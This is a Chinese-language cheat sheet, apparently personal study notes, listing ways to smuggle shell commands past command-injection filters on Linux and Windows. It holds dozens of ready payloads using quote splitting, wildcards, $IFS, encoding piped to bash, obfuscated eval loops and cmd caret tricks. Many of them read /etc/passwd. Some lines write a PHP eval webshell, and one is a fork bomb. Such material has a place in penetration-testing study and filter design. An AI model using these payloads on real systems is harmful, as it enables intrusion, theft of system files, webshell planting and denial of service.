Linux绕过
连接符绕过
/b'i'n/cat /"e"t'c/p'asswd
cat+/etc/passwd --数据包中使用 +能替代空格
反斜杠绕过
c\a\t /e\tc/pa\sswd
c\a\t \/\e\t\c/\p*\d
通配符
cat /etc/pass*
cat /etc/passw?
cat /e[a,t]c/passw[a-z]
cat /e[a,t]c/passw{a,d}
/usr/bin/"w"*"o"am?
/usr/bin/i[[:alpha:]]
# [[:alpha:]] ascii字符类
未初始化变量
cat /et$(a)c/passwd
ca$@$1t /etc/passwd $1变成$a就不行了 估计变量名有关系
echo i$@d /bash
$echo i$@d
路径干扰
cat /./etc/././passwd
cat /./e\t\c\/\.\/\/\/passwd
cat /etc////passwd
多表达式干扰
1;\c\a\t /etc/passwd
1\:;\ca\t /etc/passwd
变量赋值绕过
a=l b=s; $a$b
a=l; ${a}s
u=who;u+=ami;$u
这里还是要看看$a ${a}的区别 后续会补充
反引号干扰
将`content`里面的内容进行命令执行,随后将输出的结果进行执行
$(whoami)会执行root
`whoami`
`ec'ho' cat` /etc/passwd
`\whoami` 这里反斜杠有什么用后续可以看看
空格绕过
cat<>/etc/passwd
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
echo$IFS"<?=syste_m(\$_GET[])?>">xxx.pxp
cat%09/etc/passwd -- 数据包解析%09空白字符
后续要找找<> 和< 这个为什么能作为空格
高级空格使用
IFS=,;`cat<<<uname,-a`
IFS=:; a=cat:/etc/passwd;$a
IFS=_; command=ls_-l;$command
IFS是什么?
IP转十进制
/??n/?c -e /??n/b??h xxxxxxx
这里没看懂
$()干扰
$()有反引号的功能
$(echo c)at /etc/passwd
$(echo l)$(echo s)
特殊符号
/*/ /**/ /!*/ @
cat /*/ /etc/passwd
cat @ /etc/passwd
{}
mkdir {userA,userB,userC}-{home,bin,data}
cat {/etc/passwd,/etc/group}
{cat,/etc/passwd}
不能随便加空格
系统环境变量替换路径
$HOME
$PWD
$OLDPWD
PWD=/bin
echo $PWD
借助第三方工具
python -c 'print "whoami"' | bash -i
`python -c 'print "who"+"ami"' --python
perl -e 'exec "whoami"'
perl -e 'exec "who" . "ami"'
php -r 'system("whoami")'
exec "whoami"
lua -e "os.execute('whoami');"
awk 'BEGIN {system("whoami")}'
利用编码
echo printf 区别在于printf可写八进制,十六进制,echo不行。echo -e效果等同于printf,可写八进制,十六进制。
echo "{base64}" | base64 -d |bash
printf "{base64}" | base64 -d |bash
echo "636174xxxx" | xxd -r -p |bash
`printf "\154\163"` ---八进制
$'\154\163'
printf "\154\163" | bash
printf "\154\164" | $0
\x --十六进制
\u --unicode
利用cut截断
echo ldds | cut -c1,4 | /bin/bash
tr删除绕过
echo aaaaalaaasaaaa | tr -d 'a' | /bin/bash
Exim4命令绕过(无插件)
kali默认安装
sendmail -be '${run{/bin/touch /tmp/test.txt}}' ---- 新建一个test.txt文件
sendmail -be '$spool_directory' ---/var/spool/exim4 不太懂是啥
exim4 -be '$config -dir' ---/var/lib/exim4
sendmail -be '$initial_cwd' --- /tmp
从文件中拼接
expr substr $(awk NR==1 1.php) 1 1 表示从1.php的第一行第一个字符取值一个
echo ldsd -> 1.php;`expr substr $(awk NR==1 1.php) 1 1``expr substr $(awk NR==1 1.php) 3 1`
ln软连接(不太清楚)
anythink=1
ln -s / anythink;head 0n anythink////../etc/passwd
ln -s ../../ wow; head -n 2 ././wow/../etc/passwd
ln -s / slash; head -n 2 `readlink slash`etc`readlink slash`/passwd
ln -s "head -n 2 /etc/pass" hehehe; $(readlink hehehe)wd
变量替换
提取
${string:position} # 在 $string 中, 从位置 $position 开始提取子串
${string:position:length} # 在 $string 中, 从位置 $position 开始提取长度为 $length 的子串
去除首尾
${string#expression} # 从变量 $string 的开头, 删除最短匹配 $expression 的子串
${string##expression} # 从变量 $string 的开头, 删除最长匹配 $expression 的子串
${string%expression} # 从变量 $string 的结尾, 删除最短匹配 $expression 的子串
${string%%expression} # 从变量 $string 的结尾, 删除最长匹配 $expression 的子串
替换
${string/expression/replacement} # 使用 $replacement, 来代替第一个匹配的 $expression
${string//expression/replacement} # 使用 $replacement, 代替所有匹配的 $expression
${string/#expression/replacement} # 如果 $string 的前缀匹配 $expression, 那么就用 $replacement 来代替匹配到的 $expression
${string/%expression/replacement} # 如果 $string 的后缀匹配 $expression, 那么就用 $replacement 来代替匹配到的 $expression
test=/ehhh/hmtc/pahhh/hmsswd;cat ${test//hhh\/hm/} -- cat /etc/passwd
test1=cahhht;test=/ehhh/hmtc/pahhh/hmsswd;${test1//hhh/} ${test//hhh\/hm/}
test=/ehhh/hmtc/pahhh/hmsswd;cat ${test//hh??hm/} -- cat /etc/passwd
alphabet=fghijklmnopqrstuvwxyzabcde/;cat ${alphabet:26}${alphabet:25:1}${alphabet: -13:-12}${alphabet: -4:1}${alphabet: -1}passwd
管道组合
echo xxx | base64 -d | bash -i
echo whoami | bash -i
倒叙
`echo "imohw"|rev`
神奇的$_
return上一个参数
: cat;$_ $(true |/etc/passwd; echo $_)
: cat;p=$_;(flase /etc;p=$p'';$_;:/passwd;p=$p$_;$p) 这个可能有错
利用for循环拼接命令
eval "$(ijmduN3D=(\[ r f 5 4 G U \" a i s p 1 t \% \} \ e \) \/ \\ 0 b J k z 7 \] \; \{ \| D \( X 2 h 3 \= 9 V 8 w n \$ B c 6 d o);for s7SQJyu8 in 11 1 9 42 13 2 16 14 10 16 7 43 32 24 44 39 8 6 33 37 32 20 19 16 45 16 10 16 47 16 41 16 13 16 11 16 17 16 8 16 20 16 18 28 2 48 1 16 31 25 35 24 23 36 41 5 16 9 42 16 12 16 40 16 3 16 38 16 21 16 26 16 3 16 12 16 21 16 46 16 40 16 34 16 34 16 4 16 36 28 47 48 16 11 1 9 42 13 2 16 14 10 16 7 43 29 24 44 39 8 6 33 0 43 31 25 35 24 23 36 41 5 27 15 7 28 47 48 42 17 18 7 30 22 8 10 35;do printf %s "${ijmduN3D[$s7SQJyu8]}";done)"
a=(dw ah h d m wm o w a i d);for i in 7 2 6 8 4 9;do printf %s "${a[i]}";done
BA=pNNriNNntf;$(a=(dw ah h d m wm o w a i d);for i in 7 2 6 8 4 9;do ${BA//NN/} %s "${a[i]}";done)
组装(高级组装)(无插件)
ls -t 表示根据创建时间排序,最近创建的排在前面
\> '?>'
\> '($_POST[1]);'
\> '@eval'
\> '<?php'
ls -t >1.php
相对路劲绕过(无插件)
通过将绝对路径拆分成相对路径来绕过对敏感路径的正则匹配
cd /etc/ && cat passwd
未解手法(暂时不考虑,放在数据包不能成功)(无插件)
: dummy dummy1 dummy3-col -- 需要同下面分开执行
^ol^at;(${_/*-/} /et?/???sw??) -- 该命令等价于: dummy dummy1 dummy3-cat;(${_/*-/} /et?/???sw??)
符号炸弹(无插件)
:(){ :| :&};:
计数+八进制绕过(无插件)
$#的功能就是计数
函数的方式就是计算字符串的数量
""就是数一下他们的数量
:(){ /???/???/pri??? $@;};.(){ : ${#};}; $(: "\\`. ""``. "" "" "" "" ""``. "" "" "" ""`" ;: "\\`. ""``. "" "" "" "" "" ""``. "" "" ""`") --ls
绕过手法组合
`printf "\u002f"/\./"\u0062\x69\u006e\u002f\u006c"[q-s]` unicode + hex + 通配符 + 路径干扰
printf "cHJpbnRmICJcdTAwMmYiL1wuLyJcdTAwNjJceDY5XHUwMDZlXHUwMDJmXHUwMDZjIltxLXNd" |base64 -d |`/bin/bash`
===
u=/bin/bash;printf "cHJpbnRmICJcdTAwMmYiL1wuLyJcdTAwNjJceDY5XHUwMDZlXHUwMDJmXHUwMDZjIltxLXNd" |base64 -d |`$u`
===
a=base64;echo d2hvYW1p |`$a -d`
a=bas;a+=e64;b=ec;b+=ho;$b d2hvYW1p|`$a -d`
a=bas;a+=e64;b=ec;b+=ho;c=d2hv;c+=YW1p;$b $c|`$a -d`
cat `echo -n '/etc' || echo '/shit' && echo '/passwd'`
其他
\> $PS2
\+ $PS4
内部字段分隔符 ${IFS}
空字符串 ${9}
windows
powershell+通配符
powershell $('ip'+'confi'+'g')
powershell $("{3}-{2}-{1}-{0}" -f 'g','y','conf','ip'")
type C:\windows\*
powershell C:\xxxx
大小写
ifconfiG
利用cmd的环境变量拼接命令
cmd.exe内部命令有:set assoc ftype等
set:命令用来显示,设置或删除cmd.exe环境变量
assoc:文件名扩展关联命令,用于显示和设置文件名扩展关联,可以指定某种后缀名文件按照特定类型文件打开或执行
ftype:显示或修改用在文件名关联中的文件类型,指定一种类型文件默认为哪个程序运行或打开
%comspec:~11,1%表示取comspec变量值中的字符,默认从0下表开始,从11下标取一个字符
set no2= user&&set PdZG2=net&&call %PdZG2%%no2% -- net user
cmd /V:ON/C"set pI=gifnocpi&&for /L %z in (7,-1,0)do set GI4S=!GI4S!!pI:~%z,1!&&if %z==0 call %GI4S:*GI4S!=%" --ipconfig
cmd /V:ON /C "set envar=net user && !envar!" -- net user
系统变量替换
# 打开计算器
%SystemRoot%\System32\calc.exe -- C:\Windows\System32\calc.exe
# 输出%SystemRoot%变量值
echo %SystemRoot%
插入特殊字符干扰
^可以放在任意位置(不能是末尾)
@放在命令开头
,放在命令开头
,;,放在命令开头
插入()括号
n^o^t^e^p^a^d -- notepad
@notepad -- notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e -- calc
(((whoami))) -- 插入括号
,net user
,;,net user
在一些情况下 : , / \ ;可以替换空格
逗号“,”和分号 “;”可以互换,可以取代命令中的合法空格
多个空格也不影响命令执行
echo:%SystemRoot%
echo,%SystemRoot%
echo/%SystemRoot%
echo\%SystemRoot%
echo;%SystemRoot%
> 逗号“,”和分号 “;”可以互换,可以取代命令中的合法空格
>
> 多个空格也不影响命令执行
双引号
wh"o"am""i
补充完整路径
C:\Windows\System32\
%SystemRoot%\system32\
%WINDIR%\System32\
%HOMEDRIVE%\Windows\System32\
%SystemDrive%\Windows\System32\
C:\Windows\System32\ipconfig -- 补充完整路径
%WINDIR%\System32\whoami
利用For循环拼接命令
for /参数 %变量 in (集) do 命令
/d 参数是指定仅对目录而不是文件执行的for命令
for /L %%变量 in (起始值,每次增值,结束时的比较值) do 命令
/F 将会打开(集)里的文件,使for命令能处理文本文件的读取和添加删除替换等编辑性的操作,可谓功能强大,因此也相对复杂一些
for /F %x in ('whoami') do echo %x
&()干扰
cmd.exe /c &("whoami")
cmd.exe /c &("cal"c)
多表达式干扰
1&whoami
1||whoami
特殊字符
- %1a
文章评论